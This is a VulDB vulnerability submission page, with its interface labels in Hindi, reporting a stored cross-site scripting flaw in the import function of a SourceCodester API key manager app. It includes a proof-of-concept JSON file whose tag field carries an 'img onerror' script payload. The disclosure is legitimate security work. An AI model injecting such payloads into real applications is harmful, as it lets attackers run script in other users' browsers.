| शीर्षक | SourceCodester API Key Manager App Using HTML, CSS and JavaScript with Source Code 0 Cross Site Scripting |
|---|
| विवरण | The vulnerability lies in the import keys functionality where any user can define additional tags having JavaSctipt payloads. On load, the payload is executed within the local browser.
[
{
"id": "xss_tag_1",
"name": "Legitimate API Key",
"key": "sk_live_1234567890abcdef",
"category": "payment",
"tags": [
"production",
"<img src=x onerror=alert(1);>", // Exploit
"important"
],
"notes": "This key is used for production payments",
"created": "2026-01-03T17:41:04.147892Z",
"lastUsed": null,
"strength": "Strong"
}
]
Codebase: https://www.sourcecodester.com/javascript/18600/api-key-manager-app-using-html-css-and-javascript-source-code.html |
|---|
| उपयोगकर्ता | Kamran Saifullah (UID 4218) |
|---|
| सबमिशन | 03/01/2026 08:40 PM (9 महीनों पहले) |
|---|
| संयम | 04/01/2026 07:47 AM (11 hours later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 339472 [SourceCodester API Key Manager App 1.0 Import Key क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 17 |
|---|